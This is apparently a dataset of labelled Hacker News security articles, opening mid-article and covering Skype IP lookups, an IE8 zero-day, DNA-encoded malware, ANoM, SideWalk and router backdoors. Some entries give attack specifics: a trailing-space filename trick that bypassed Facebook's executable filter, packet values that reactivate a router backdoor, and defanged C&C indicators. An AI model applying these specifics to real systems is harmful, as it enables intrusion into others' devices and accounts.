The script is for instance available on this site. Just enter the user name of a Skype user, fill out the captcha, and click the search button to initiate the lookup. You will receive the user's remote IP and port, as well as the local IP and port.

Adrian Asher, director of product Security, Skype ""We are investigating reports of a new tool that captures a Skype user's last known IP address. This is an ongoing, industry-wide issue faced by all peer-to-peer software companies. We are committed to the safety and security of our customers and we are takings measures to help protect them.""

The proof of concept is fairly simple. All an attacker needs to do is download a special Skype variant and alter a few registry keys to enable debug-log file creation.When adding a Skype contact, before sending the actual request, the victim's information card can be viewed. At this point, the log file records the user's IP address.

The software, posted on Pastebin, works on a patched version of Skype 5.5 and involves adding a few registry keys that allow the attacker to check the IP address of users currently online. Services like Whois will then give some other details on the city, country, internet provider and/or the internal IP-address of the target.

This particular flaw was discussed in a paper presented by an international team of researchers in November at the Internet Measurement Conference 2011 in Berlin.

There is currently no way of protecting yourself against the lookup of the IP address, other than not logging in to Skype when the software is not needed. The only other option would be the use of a virtual private network or proxy to hide the IP address from users who look it up.

",Vulnerability
Internet Explorer zero-day exploit targets U.S. nuke researchers,https://thehackernews.com/2013/05/internet-explorer-zero-day-exploit.html,"Security researchers revealed that series of ""Watering Hole"" has been conducted exploiting a IE8 zero-day vulnerability to target U.S. Government experts working on nuclear weapons research.

The news is not surprising but it is very concerning, the principal targets of the attacks are various groups of research such as the components of U.S. Department of Labor and the U.S. Department of Energy, the news has been confirmed by principal security firms and by Microsoft corporate.

The flaw has been used in a series of ""watering hole"" attacks, let's remind that ""Watering Hole"" is a technique of attack realized compromising legitimate websites using a ""drive-by"" exploit. The attackers restrict their audience to a individuals interested to specific content proposed by targeted website, in this way when the victim visits the page a backdoor Trojan is installed on his computer.


The website compromised to exploit the IE8 zero-day is the Dept. of Energy's Site Exposure Matrices (SEM) website, the site provides information on ""nuclear-related illnesses"" linked to Dept. of Energy facilities of employees who are experiencing health problems as a result of their professional activities.
Security community supposes that behind the exploits of IE8 zero-day flaw there is a group of Chinese hackers known as ""DeepPanda"" that hijacked visitors to a compromised website to deploy Poison Ivy Trojan through the execution of a ""drive-by download exploit"".

Security firm FireEye revealed that the new IE8 zero-day exploit is able to work against Internet Explorer 8 for all versions of Windows XP and above, including Windows Server 2003, 2008 and R2.

""This particular exploit checks for OS version, and only runs on Windows XP. We are able to reproduce the code execution and confirm it's a working zero-day exploit against IE8. During our research we also found the exploit constructs a ROP chain on non-ASLRed msvcrt.dll, and we verified it could also work against IE8 on Windows 7. So we believe there should be some other exploits targeting IE8 on Windows 7."" FireEye post states.

At the moment there isn't information on the information stolen but it is clear that the campaign discovered is related to a cyber espionage activity due the numerous classified documents managed by targeted departments.

Microsoft issued a security advisory on Friday announcing its investigation on the event and confirming it as a ""remote code execution vulnerability."", Microsoft confirmed on Friday that the IE8 zero-day vulnerability exists in Internet Explorer 8 for all versions of Windows XP and above are affected, including Windows Server 2003, 2008 and R2.

Microsoft noted that IE6 users on Windows XP, IE7, IE9, and IE10 users on Windows 8 and Surface tablets, are not affected by the security flaw.

Other precious suggestions provided by the advisory are:

Mitigating Factors:
By default, Internet Explorer on Windows Server 2003, Windows Server 2008, and Windows Server 2008 R2 runs in a restricted mode that is known as Enhanced Security Configuration. This mode mitigates this vulnerability.
By default, all supported versions of Microsoft Outlook, Microsoft Outlook Express, and Windows Mail open HTML email messages in the Restricted sites zone. The Restricted sites zone, which disables script and ActiveX controls, helps reduce the risk of an attacker being able to use this vulnerability to execute malicious code. If a user clicks a link in an email message, the user could still be vulnerable to exploitation of this vulnerability through the web-based attack scenario.
An attacker who successfully exploited this vulnerability could gain the same user rights as the current user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.
In a web-based attack scenario, an attacker could host a website that contains a webpage that is used to exploit this vulnerability. In addition, compromised websites and websites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these websites. Instead, an attacker would have to convince users to visit the website, typically by getting them to click a link in an email message or Instant Messenger message that takes users to the attacker's website.

",Vulnerability
THN Report : ACER hacked because of their own stupidity !,https://thehackernews.com/2011/06/thn-report-acer-hacked-because-of-their.html,"THN Report : ACER hacked because of their own stupidity !
Yes ! you read right , ACER hacked because of their own stupidity. Yesterday we report that Pakistan Cyber Army hacked Acer Europe Server and 40,000 Users Data, Source Codes & Server Compromised .


Today we investigate on this and try to find out that how exactly Pakistan hackers got the FTP access . Here in above image you can see the screenshot taken by us from a ASP forum of Acer-Euro. Acer ASP Support Team posted some Hot Fix Release and give FTP access to other members , so that they can download that Hot Fix. This was posted on January 11, 2008 . Pakistan hackers got this and explore the FTP and In ""PB"" directory they get ""Country Wise Customer Data.zip"" file, which include the 40000 users data managed according to country wise.


Now this Data breach is only because of ACER's own Stupidity. The link of Forum post is ""https://asp.acer-euro.com/FORUM/Topic472-8-1.aspx"".

",Vulnerability
Malware Encoded Into DNA Hacks the Computer that Reads It,https://thehackernews.com/2017/08/hacking-computer-with-dna.html,"Do you know — 1 Gram of DNA Can Store 1,000,000,000 Terabyte of Data for 1000+ Years?

Even in March this year, a team of researchers successfully stored digital data — an entire operating system, a movie, an Amazon gift card, a study and a computer virus — in the strands of DNA.

But what if someone stores a malicious program into the DNA, just like an infected USB storage, to hijack the computer that reads it.

A team of researchers from the University of Washington in Seattle have demonstrated the first successful DNA-based exploit of a computer system that executes the malicious code written into the synthesised DNA strands while reading it.

To carry out the hack, the researchers created biological malware and encoded it in a short stretch of DNA, which allowed them to gain ""full control"" of a computer that tried to process the genetic data when read by a DNA sequencing machine.

The DNA-based hack becomes possible due to lack of security in multiple DNA processing software available online, which contains insecure function calls and buffer overflow vulnerabilities.
""We analysed the security of 13 commonly used, open source programs. We selected these programs methodically, choosing ones written in C/C++,"" reads the research paper [PDF], titled ""Computer Security, Privacy, and DNA Sequencing: Compromising Computers with Synthesized DNA, Privacy Leaks, and More.""
""We found that existing biological analysis programs have a much higher frequency of insecure C runtime library function calls (e.g., strcpy). This suggests that DNA processing software has not incorporated modern software security best practices.""
To create the biological malware, the researchers translated a simple computer program into a short stretch of 176 DNA letters, denoted as A, G, C, and T, each representing a binary pair (A=00, C=01, G=10, T=11).

The exploit took advantage of a basic buffer overflow attack, in which a software program executes the malicious command because it falls outside maximum length.

The command then contacted a server controlled by the team, from where the researchers took control of a computer in their laboratory they were using to analyse the DNA file.
""Our exploit did not target a program used by biologists in the field; rather it targeted one that we modified to contain a known vulnerability,"" the researchers said.
Although this kind of hack probably doesn't pose any threat anytime soon, the team warned that hackers could in future use fake blood or spit samples to gain access to computers, steal information, or hack medical equipments installed at forensic labs, hospitals and the DNA-based data storage centers.

The researchers will be presenting this first ""DNA-based exploit of a computer system"" at the next week's Usenix Security Symposium in Vancouver. For the more in-depth explanation on the DNA-based hack, you can head on to the research paper.

",Malware
"Hackers Can Steal $999,999.99 from Visa Contactless Payment Cards",https://thehackernews.com/2014/11/hackers-can-steal-99999999-from-visa.html,"Security researchers from Newcastle University in the UK have found a way to steal larger amounts of money from people's pockets using just a mobile phone, due to a security glitch Visa's contactless payment cards.

Contactless payment cards use a cryptoprocessor and RFID technology to perform secure transactions without a need to insert the card in a reader, even an NFC-equipped mobile device may also be used as a payment card. But there is a specified limits country-wise.

Contactless payment cards are meant to have a limit of £20 per purchase in UK, using which shoppers can buy things by simply tapping their card on a scanner, without having to type in a PIN. But exploiting a flaw in its protocol could allow cyber criminals to manipulate the cards to transfer up to $999,999.99 in foreign currency into a scammer's account.

Researchers on Wednesday at the 21st ACM Conference on Computer and Communications Security, detailed the attack which rely on a ""rogue POS terminal"" running on a mobile device that could be pre-set to a large amount of money, a wireless transfer of up to 999,999.99 units in any currency.
""With just a mobile phone we created a POS terminal that could read a card through a wallet,"" Martin Emms, lead researcher of the project noted in a statement about the findings. ""All the checks are carried out on the card rather than the terminal so at the point of transaction, there is nothing to raise suspicions.""
""By pre-setting the amount you want to transfer, you can bump your mobile against someone's pocket or swipe your phone over a wallet left on a table and approve a transaction. In our tests, it took less than a second for the transaction to be approved.""
The good news is that the research team haven't tested how Visa's system reacted to a rush of foreign currency transfers, and whether it would flag them up as a possible fraud or not.

But the experts are worried that the contactless payment cards system is insecure, and that cybercriminals would likely use the flaw to set up hundreds or thousands of fraudulent transactions in smaller amounts to evade detection.
""Our research has identified a real vulnerability in the payment protocol, which could open the door to potential fraud by criminals who are constantly looking for ways to breach the system,"" Emms said.
In a report on the BBC, Visa Europe said that ""we have reviewed Newcastle's findings as part of our continued focus on security and beating payments fraud"" and that their research ""does not take into account the multiple safeguards put into place throughout the Visa system"", adding that it would be ""very difficult to complete this type of transaction outside of a laboratory environment.""

Visa Europe also said that the company is updating its protection to require more payment card transactions to be authenticated online, making this kind of attack more difficult to carry out.

",Vulnerability
Hacker Who Leaked Celebrities' Personal Photos Gets 8 Months in Prison,https://thehackernews.com/2018/08/photos-celebrity-hacker.html,"George Garofano (left)

The fourth celebrity hacker—who was charged earlier this year with hacking into over 250 Apple iCloud accounts belonged to Jennifer Lawrence and other Hollywood celebrities—has been sentenced to eight months in prison.

Earlier this year, George Garofano, 26, of North Branford, admitted to illegally obtaining credentials of his victims' iCloud accounts using a phishing scheme, carried out from April 2013 to October 2014, in which he posed as a member of Apple's security team and tricked victims into revealing their iCloud credentials.

Using stolen credentials, Garofano then managed to steal victims' personal information, including their sensitive and intimate photographs and videos, from their iCloud accounts, and then leaked them on online forums, like 4Chan.

Among the victims were Jennifer Lawrence, Kim Kardashian, Kirsten Dunst, Kate Upton, American Olympic gold medallist Misty May Treanor and actors Alexandra Chando, Kelli Garner and Lauren O'Neil.

While prosecutors asked for a sentence of at least 10 to 16 months in prison, Garofano's lawyer requested the judge to give his client a lighter sentence of five months in prison and another five months of home confinement.

However, a federal judge at the US district court in Bridgeport on Wednesday sentenced Garofano to 8 months in prison and 3 years of supervised release after his prison term is over.

Garofano is one of the four hackers who stole and leaked celebrities' photographs in the 2014 event, which is well known as ""The Fappening"" or ""Celebgate"" scandal.

The other three Celebgate hackers had already been sentenced for their roles in the celebrity photo hack:
Edward Majerczyk, 28, was sentenced to nine months in prison after pleading guilty to felony hacking and violating Computer Fraud and Abuse Act.
Ryan Collins, 36, was sentenced to 18 months in prison after pleading guilty to the same.
Emilio Herrera, 32, pled guilty to the same but is still awaiting his sentencing.
While the US Attorney says there's no evidence that Majerczyk, Collins, or Herrera shared or posted the stolen photos online, prosecutors allege that Garofano, in some instances, also traded the stolen iCloud credentials and the victims' intimate images with other people.

Garofano, who is released on a $50,000 bond, will surrender on October 10, 2018, to serve his prison sentence.

The judge has also ordered Garofano to perform 60 hours of community service while he is on supervised release.

",Cyber_Attack
Facebook EXE attachment Vulnerability can Compromise with Users Security,https://thehackernews.com/2011/10/facebook-exe-attachment-vulnerability.html,"Facebook EXE attachment Vulnerability can Compromise with Users Security


Nathan Power from SecurityPentest has discovered new Facebook Vulnerability, that can easily attach EXE files in messages,cause possible User Credentials to be Compromised .


When using the Facebook 'Messages' tab, there is a feature to attach a file. Using this feature normally, the site won't allow a user to attach an executable file. A bug was discovered to subvert this security mechanisms. Note, you do NOT have to be friends with the user to send them a message with an attachment.


But Nathan Power Find the way to upload EXE . When uploading a file attachment to Facebook we captured the web browsers POST request being sent to the web server. Inside this POST request reads the line:
Content-Disposition: form-data; name=""attachment""; filename=""cmd.exe""
It was discovered the variable 'filename' was being parsed to determine if the file type is allowed or not. To subvert the security mechanisms to allow an .exe file type, we modified the POST request by appending a space to our filename variable like so:
filename=""cmd.exe ""


",Vulnerability
Malware That Spreads Via Xcode Projects Now Targeting Apple's M1-based Macs,https://thehackernews.com/2021/04/malware-spreads-via-xcode-projects-now.html,"A Mac malware campaign targeting Xcode developers has been retooled to add support for Apple's new M1 chips and expand its features to steal confidential information from cryptocurrency apps.
XCSSET came into the spotlight in August 2020 after it was found to spread via modified Xcode IDE projects, which, upon the building, were configured to execute the payload. The malware repackages payload modules to imitate legitimate Mac apps, which are ultimately responsible for infecting local Xcode projects and injecting the main payload to execute when the compromised project builds.
XCSSET modules come with the capabilities to steal credentials, capture screenshots, inject malicious JavaScript into websites, plunder user data from different apps, and even encrypt files for a ransom.
Then in March 2021, Kaspersky researchers uncovered XCSSET samples compiled for the new Apple M1 chips, suggesting that the malware campaign was not only ongoing but also that adversaries are actively adapting their executables and porting them to run on new Apple Silicon Macs natively.
The latest research by Trend Micro shows that XCSSET continues to abuse the development version of the Safari browser to plant JavaScript backdoors onto websites via Universal Cross-site Scripting (UXSS) attacks.
""It hosts Safari update packages in the [command-and-control] server, then downloads and installs packages for the user's OS version,"" Trend Micro researchers said in an analysis published on Friday. ""To adapt to the newly-released Big Sur, new packages for 'Safari 14' were added.""
In addition to trojanizing Safari to exfiltrate data, the malware is also known for exploiting the remote debugging mode in other browsers such as Google Chrome, Brave, Microsoft Edge, Mozilla Firefox, Opera, Qihoo 360 Browser, and Yandex Browser to carry out UXSS attacks.
What's more, the malware now even attempts to steal account information from multiple websites, including NNCall.net, Envato, and 163.com, and cryptocurrency trading platforms like Huobi and Binance, with abilities to replace the address in a user's cryptocurrency wallet with those under the attacker's control.
XCSSET's mode of distribution via doctored Xcode projects poses a serious threat, as affected developers who unwittingly share their work on GitHub could pass on the malware to their users in the form of the compromised Xcode projects, leading to ""a supply-chain-like attack for users who rely on these repositories as dependencies in their own projects.""

",Malware
New Systemd Privilege Escalation Flaws Affect Most Linux Distributions,https://thehackernews.com/2019/01/linux-systemd-exploit.html,"Security researchers have discovered three vulnerabilities in Systemd, a popular init system and service manager for most Linux operating systems, that could allow unprivileged local attackers or malicious programs to gain root access on the targeted systems.

The vulnerabilities, assigned as CVE-2018-16864, CVE-2018-16865, and CVE-2018-16866, actually resides in the ""systemd-journald"" service that collects information from different sources and creates event logs by logging information in the journal.

The vulnerabilities, which were discovered and reported by security researchers at Qualys, affect all systemd-based Linux distributions, including Redhat and Debian, according to the researchers.

However, some Linux distros such as SUSE Linux Enterprise 15, openSUSE Leap 15.0, and Fedora 28 and 29 are not affected, as ""their userspace [code] is compiled with GCC's -fstack-clash-protection.""

The first two flaws are memory corruptions issues, while the third one is an out-of-bounds read issue in systemd-journald that can leak sensitive process memory data.

Researchers have successfully created proof-of-concept exploits, which they are planning to release in the near future.

""We developed an exploit for CVE-2018-16865 and CVE-2018-16866 that obtains a local root shell in 10 minutes on i386 and 70 minutes on amd64, on average,"" the researchers write in an advisory published Wednesday.

CVE-2018-16864 is similar to a Stack Clash vulnerability Qualys researchers discovered in 2017 that can be exploited by malware or low privileged users to escalate their permission to root.

According to the researchers, CVE-2018-16864 existed in systemd's codebase since April 2013 (systemd v203) and became exploitable in February 2016 (systemd v230), while CVE-2018-16865 was introduced in December 2011 (systemd v38) and became exploitable in April 2013 (systemd v201), Qualys says.

However, the third vulnerability (CVE-2018-16866) was introduced in systemd's codebase in June 2015 (systemd v221), but according to the researchers, it was ""inadvertently fixed in August 2018.""

If you are using a vulnerable Linux system, keep tabs on the latest updates by your respective Linux distribution and install the patches as soon as they are released.

",Vulnerability
Feds Secretly Ran a Fake Encrypted Chat App and Busted Over 800 Criminals,https://thehackernews.com/2021/06/feds-secretly-ran-fake-encrypted-chat.html,"In an unprecedented sting operation, the U.S. Federal Bureau of Investigation (FBI) and Australian Federal Police (AFP) ran an encrypted chat service called ANoM for nearly three years to intercept 27 million messages exchanged between criminal gang members globally.
Dubbed Operation Ironside (AFP), Operation Greenlight (Europol), and Operation Trojan Shield (FBI), the long-term covert probe into transnational and serious organized crime culminated in the arrests of 224 offenders on 526 charges in Australia, with 55 luxury vehicles, eight tons of cocaine, 22 tons of cannabis and cannabis resin, 250 firearms, and more than $48 million in various currencies and cryptocurrencies seized in raids around the world.
A total of more than 800 arrests have been reported across 18 countries, including New Zealand, Germany, and Sweden. Europol called it the ""biggest ever law enforcement operation against encrypted communication.""
The communications allegedly involved plots to kill, orchestrate mass drug trafficking, and gun distribution, according to the AFP, which gained lawful access to these encrypted messages through using the Telecommunications and Other Legislation Amendment (Assistance and Access) Act 2018.
""For almost three years, the AFP and the FBI have monitored criminals' encrypted communications over a Dedicated Encrypted Communications Platform,"" AFP said. ""The AFP built a capability that allowed law enforcement to access, decrypt and read communications on the platform. The AFP and FBI were able to capture all the data sent between devices using the platform.""
The cryptographic barriers were surmounted by inserting a master key into ANoM's encryption system that was stealthily attached to every message, thus enabling the law enforcement to execute a man-in-the-middle (MitM) scheme to decrypt and retrieve the messages as they were transmitted.
For devices located outside of the U.S., an encrypted ""BCC"" copy of the messages was forwarded to a server located in an unnamed third country, from where it was forwarded to a second FBI-owned server for subsequent decryption.
ANoM (aka Anøm) is said to have been intentionally created to fill the vacuum left by Phantom Secure, another encrypted phone service dismantled by the FBI in 2018, thereby allowing the agencies to eavesdrop on the conversations unbeknownst to the criminals.
In a move echoing that of Phantom Secure, criminals needed to be part of a closed network to get hold of a phone on which ANoM came preinstalled, while the devices themselves were stripped of all other functionality.
Among some of the features of the app included the ability to —
Send encrypted text and voice messages
Make secure voice calls
Share photos, videos, animated GIFs, locations, drawings, and
Send files of any type
In addition, phone owners also had the option to verify their contacts via a QR code, create distribution lists, and chat completely anonymously without even requiring a phone number, according to a listing from the now taken down anom.io website.
Operation Ironside follows similar law enforcement actions that involved infiltrating encrypted chat platform EncroChat to tap millions of encrypted messages sent by organized crime networks through the platform. Earlier this year, a coordinated exercise under the name ""Operation Argus"" staged major interventions against Sky ECC, leading to nearly 275 raids and the arrest of 91 suspects, besides seizing 17 tonnes of cocaine and €1.2 million.
A Trojan Horse to Trap Crime Syndicates
In controlling the encrypted chat network right from its inception in 2018, ANoM was a cleverly designed trap meant to ensnare domestic and international organized crime syndicates who had previously relied on other platforms to facilitate murders and drug smuggling.
To that end, the FBI recruited a confidential human source, who had previously sold phones from both Phantom Secure and Sky Global to criminal organizations and had ""invested a substantial amount of money into the development of a new hardened encrypted device"" (i.e., ANoM), to penetrate the crime networks and distribute the devices.
Besides agreeing to cooperate with law enforcement authorities for the possibility of a reduced prison sentence, the FBI paid the informant $179,508 for the services rendered as well as for living and travel expenses.
""The devices organically circulated and grew in popularity among criminals, who were confident of the legitimacy of the app because high-profile organised crime figures vouched for its integrity,"" the AFP said. By May 2021, the phones, which were procured from the black market, had increased to 11,800 in number, of which about 9,000 are in active use, spanning over 300 criminal syndicates operating in more than 100 countries.
The top five countries where ANoM devices are currently used are Germany, the Netherlands, Spain, Australia, and Serbia, unsealed court documents show, with its user base having grown significantly in the aftermath of Sky ECC's disruption.
""After the takedown of Sky ECC in March 2021, many organised crime networks sought a quick encrypted replacement for a communication platform that would allow them to evade law enforcement detection,"" Europol said. ""This was a deliberate and strategic aspect of OTF Greenlight / Operation Trojan Shield resulting in the migration of some of the criminal Sky ECC customer base to the FBI-managed platform ANoM.""
The international coalition that participated in the joint operation consisted of Australia, Austria, Canada, Denmark, Estonia, Finland, Germany, Hungary, Lithuania, New Zealand, the Netherlands, Norway, Sweden, the U.K. (including Scotland), and the U.S.
""A goal of the Trojan Shield investigation is to shake the confidence in this [hardened encrypted device] industry because the FBI is willing and able to enter this space and monitor messages,"" the court documents stated.

",Malware
New SideWalk Backdoor Targets U.S.-based Computer Retail Business,https://thehackernews.com/2021/08/new-sidewalk-backdoor-targets-us-based.html,"A computer retail company based in the U.S. was the target of a previously undiscovered implant called SideWalk as part of a recent campaign undertaken by a Chinese advanced persistent threat group primarily known for singling out entities in East and Southeast Asia.
Slovak cybersecurity firm ESET attributed the malware to an advanced persistent threat it tracks under the moniker SparklingGoblin, an adversary believed to be connected to the Winnti umbrella group, noting its similarities to another backdoor dubbed Crosswalk that was put to use by the same threat actor in 2019.
""SideWalk is a modular backdoor that can dynamically load additional modules sent from its C&C [command-and-control] server, makes use of Google Docs as a dead drop resolver, and Cloudflare workers as a C&C server,"" ESET researchers Thibaut Passilly and Mathieu Tartare said in a report published Tuesday. ""It can also properly handle communication behind a proxy.""
Since first emerging on the threat landscape in 2019, SparklingGoblin has been linked to several attacks aimed at Hong Kong universities using backdoors such as Spyder and ShadowPad, the latter of which has become a preferred malware of choice among multiple Chinese threat clusters in recent years.
Over the past year, the collective has hit a broad range of organizations and verticals around the world, with a particular focus on the academic institutions located in Bahrain, Canada, Georgia, India, Macao, Singapore, South Korea, Taiwan, and the U.S. Other targeted entities include media companies, religious organizations, e-commerce platforms, computer and electronics manufacturers, and local governments.
SideWalk is characterized as an encrypted shellcode, which is deployed via a .NET loader that takes care of ""reading the encrypted shellcode from disk, decrypting it and injecting it into a legitimate process using the process hollowing technique."" The next phase of the infection commences with SideWalk establishing communications with the C&C server, with the malware retrieving the encrypted IP address from a Google Docs document.
""The decrypted IP address is 80.85.155[.]80. That C&C server uses a self-signed certificate for the facebookint[.]com domain. This domain has been attributed to BARIUM by Microsoft, which partially overlaps with what we define as Winnti Group. As this IP address is not the first one to be used by the malware, it is considered to be the fallback one,"" the researchers said.
Besides using HTTPS protocol for C&C communications, SideWalk is designed to load arbitrary plugins sent from the server, amass information about running processes, and exfiltrate the results back to the remote server.
""SideWalk is a previously undocumented backdoor used by the SparklingGoblin APT group. It was most likely produced by the same developers as those behind CROSSWALK, with which it shares many design structures and implementation details,"" the researchers concluded.

",Malware
"NSA will not stop spying on us, next move Quantum computer to break strongest Encryption",https://thehackernews.com/2014/01/nsa-will-not-stop-spying-on-us-next.html,"Image Credit: The guardian
If I say that NSA (National Security Agency) will never stop spying on us then it won't be wrong. After the exposure of the large number of surveillance scandals including PRISM, DROPOUTJEEP, XKeyscore and many many more which are now publicly known as well as unknown, Will NSA ever stop Privacy breach?

Obviously 'NO'. That I can predict from another Snowden leak published by the Washington Post news website recently i.e. US National Security Agency (NSA) is trying to develop a futuristic super computer called 'Quantum computer' that could be capable of breaking almost every kind of encryption on the computer used to protect banks, medical, business including top-secret information held by government around the world.
The Project is specified as ""Penetrating Hard Targets"" in the document and is a part of $79.7 million research program. The Washington Post says that the research is being done at the University of Maryland's Laboratory for Physical Sciences.

The goal of creating a working quantum computer is to boost encryption cracking capabilities against world's strongest encryption i.e. RSA - commonly used in Web browsers for encrypted emails and secure financial transactions.

RT News reports:
The basic principle in quantum computing is ""quantum superposition,"" or the idea that an object simultaneously exists in all states. A classic computer uses binary bits, or zeroes and ones. A quantum computer uses quantum bits, or qubits, that are simultaneously zero and one. While a classic computer must do one calculation at a time, a quantum computer can achieve a correct answer much faster and efficiently through parallel processing, with no need to run those calculations.
The progress of the NSA's Project on such computer is not known, but Snowden's documents suggested that the agency is no closer to building a quantum computer and it is difficult to attain because of the fragile nature of such computers.

His disclosures not only threatened the whole world but also surprised his own citizens who have the thing called the Constitution and in that constitution has a 'Bill of rights', one of which is the 4th amendment says:
The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.
Now when the IT World is facing massive security breaches like Target, Adobe, Linkedin, Snapchat due to the lack of good encryption practices and Malware threats like Cryptolocker - due to the strongest encryption, but the NSA is doing NOTHING to defend people against such threats.

I suppose the dedication of NSA to save the world and to developing the strongest encryptions, rather they are ruining the user' privacy and security community by targeting encryption, tapping telephones, accessing email, hacking iPhone etc. At the same time such activities by National Security Agencies are also motivating the cyber criminals to do the same.

Here you can read all NSA Stories published on 'The Hacker News' - Click Here.

",Malware
Disgusting! Ashley Madison was Building an App – 'What's your Wife Worth?',https://thehackernews.com/2015/08/ashley-madison-whats-your-wife-worth-app.html,"We could expect Ashley Madison to cross any limits when it comes to cheating, but this is WORSE.

After all the revelations made by the Impact Team past week, this was something different from the leaked data that had names, password and other details of Ashley Madison clients.

A dump from the leaked files unfold awful strategy of Avid Life Media (ALM), Ashley Madison's parent company, to launch an app called ""What's your wife worth.""

As the name says it all, the app allows men to Rate each others Wives.

Know Your Wife Worth

'What's your wife worth' was discovered in a June 2013 email exchanged between Noel Biderman, ALM's chief executive and Brian Offenheim, ALM's vice president of creative and design, which said that Biderman suggested Offenheim about the probable outlook of the app.

He suggested options like ""Choice should be 'post your wife' and 'bid on someone's wife',"" also mentioning: ""I am not sure we should be asking for real names—rather usernames.""

To which Offenheim gave some feedback, by attaching a dummy of the app's sign up design, which appeared something like this:

Though Biderman liked it, somehow the app's development was not completed and the idea was dumped, as one of Biderman's colleagues referred the concept as horrible in the emails.

We are in a dilemma - whether the person referred to app's development as horrible or the idea behind the thought of developing such an app!

There were more than 197,000 emails that were leaked from Biderman's inbox by the hackers calling themselves as the Impact Team last Friday.

Besides this the hackers released personal information of more than 33 Million Ashley Madison accounts. Which led to suicides as well.

",Data_Breaches
Routers TCP 32764 Backdoor Vulnerability Secretly Re-Activated Again,https://thehackernews.com/2014/04/router-manufacturers-secretly-added-tcp.html,"At the beginning of this year, we reported about the secret backdoor 'TCP 32764' discovered in several routers including, Linksys, Netgear, Cisco and Diamond that allowed an attacker to send commands to the vulnerable routers at TCP port 32764 from a command-line shell without being authenticated as the administrator.

The Reverse-engineer from France Eloi Vanderbeken, who discovered this backdoor has found that although the flaw has been patched in the latest firmware release, but SerComm has added the same backdoor again in another way.

To verify the released patch, recently he downloaded the patched firmware version 1.1.0.55 of Netgear DGN1000 and unpacked it using binwalk tool. He found that the file 'scfgmgr' which contains the backdoor is still present there with a new option ""-l"", that limits it only for a local socket interprocess communication (Unix domain socket), or only for the processes running on the same device.

On further investigation via reverse engineering the binaries, he found another mysterious tool called 'ft_tool' with ""-f""option that could re-activates the TCP backdoor.

In his illustrated report (shown below), he explained that 'ft_tool' actually open a raw socket, that listens incoming packages and attackers on the local network can reactivate the backdoor at TCP port 32764 by sending the following specific packets:
EtherType parameter should be equal to '0x8888'.
Payload should contains MD5 hash of the value DGN1000 (45d1bb339b07a6618b2114dbc0d7783e).
The package type should be 0x201.
So, an attacker can reactivate the TCP 32764 backdoor in order to execute the shell commands on the vulnerable SerComm routers even after installing the patched version.

Now question rises, why the routers manufacturers are adding intentional backdoors again and again?? May be the reason behind to be a helping hand for the U.S. intelligence agency NSA.

Currently there is no patch available for newly discovered backdoor. If you want to check your wireless router for this backdoor, you can download Proof-of-Concept (PoC) exploit released by the researcher from here or follow the below given steps manually:
Use 'binwalk -e' to extract the file system
Search for 'ft_tool' or grep -r 'scfgmgr -f
Use IDA to confirm.

",Vulnerability
"Shadow Brokers, Who Leaked WannaCry SMB Exploit, Are Back With More 0-Days",https://thehackernews.com/2017/05/shodow-brokers-wannacry-hacking.html,"The infamous hacking collective Shadow Brokers – the one who leaked the Windows SMB exploit in public that led to last weekend's WannaCrypt menace – are back, this time, to cause more damage.

In typically broken English, the Shadow Brokers published a fresh statement (with full of frustration) a few hours ago, promising to release more zero-day bugs and exploits for various desktop and mobile platforms starting from June 2017.

However, this time the Shadow Brokers leaks will not be available for everybody, as the hacking collective said:
""TheShadowBrokers is launching new monthly subscription model. Is being like [the] wine of month club. Each month peoples can be paying membership fee, then getting members only data dump each month.""

To some extent, this is good news, but it is terrible news too. Good because now all these upcoming alleged unpatched vulnerabilities will be patched after being disclosed and terrible because the group will sell new zero-day exploits and hacking tools to private members with paid monthly subscription, instead of telling them to Microsoft.

Apparently, other hackers, criminal gangs, state-sponsored hackers, maybe some journalists and people from tech companies, would naturally join Shadow Brokers' membership.

Get Ready for the 'Wine of Month Club'

So, anyone buying the membership of the ""wine of month club"" would be able to get exclusive access to the upcoming leaks, which the Shadow Brokers claims would include:

Exploits for web browsers, routers, and smartphones.
Exploits for operating systems, including Windows 10.
Compromised data from banks and Swift providers.
Stolen network information from Russian, Chinese, Iranian, and North Korean nuclear missile programs.

The claims made by the group remain unverified at the time of writing, but since the Shadow Brokers' previously released data dump turned out to be legitimate, the group's statement should be taken seriously, at least now, when we know the EternalBlue exploit and DoublePulsar backdoor developed by the NSA and released by the Shadow Brokers last month was used by WannaCry to cause chaos worldwide.

Before publicly dumping these exploits in April, the Shadow Brokers put an auction of cyber weapons stolen from NSA's elite hacking team called Equation Group for 1 Million Bitcoin.

After failed auction, the hacking group even put up those hacking tools and exploits for direct sale on an underground site, categorizing them into a type — like ""exploits,"" ""Trojans,"" and ""implant"" — each of which ranged from 1 to 100 Bitcoins (from $780 to $78,000).

After failure from all sides, the group started leaking those hacking exploits. Last month, the Shadow Brokers released a Microsoft Windows SMB exploit that was used by the WannaCry ransomware, which infected 200,000 machines in 150 countries within just 48 hours.

While talking about the WannaCry ties with North Korean state-sponsored hacking group Lazarus Group, the group said:

""The Oracle is telling theshadowbrokers North Korea is being responsible for the global cyber attack Wanna Cry. Nukes and cyber attacks, America has to go to war, no other choices!""

Shadow Brokers Lashed out on US Government and Tech Companies

In its recent post, the Shadow Brokers criticized both the US government and tech companies, such as Microsoft, for not cracking down on the exploits when they had the chance, months before their release.

The hacking group said the US government is paying tech companies not to patch zero-days in their products, claiming that it has spies inside Microsoft among other US tech firms.

The Shadow Brokers even accused Google Project Zero team, saying:

""TheShadowBrokers is thinking Google Project Zero is having some former TheEquationGroup member. Project Zero recently releasing ""Wormable Zero-Day"" Microsoft patching in record time, knowing it was coming? Coincidence?""

Who knows if these accusation made by the Shadow Brokers group are true or not, but the world should be well prepared for another WannaCry-like massive destroyer.

",Vulnerability
Pro-Tibetan activists become victim of Spear Phishing,https://thehackernews.com/2012/04/pro-tibetan-activists-become-victim-of.html,"Pro-Tibetan activists become victim of Spear Phishing

Hackers are ramping up their attacks against Tibetan activists and are using increasingly sophisticated techniques to deliver malware An interesting example of such a malicious email has recently been spotted by FireEye researcher Alex Lanstein, who is currently monitoring these spam campaigns.

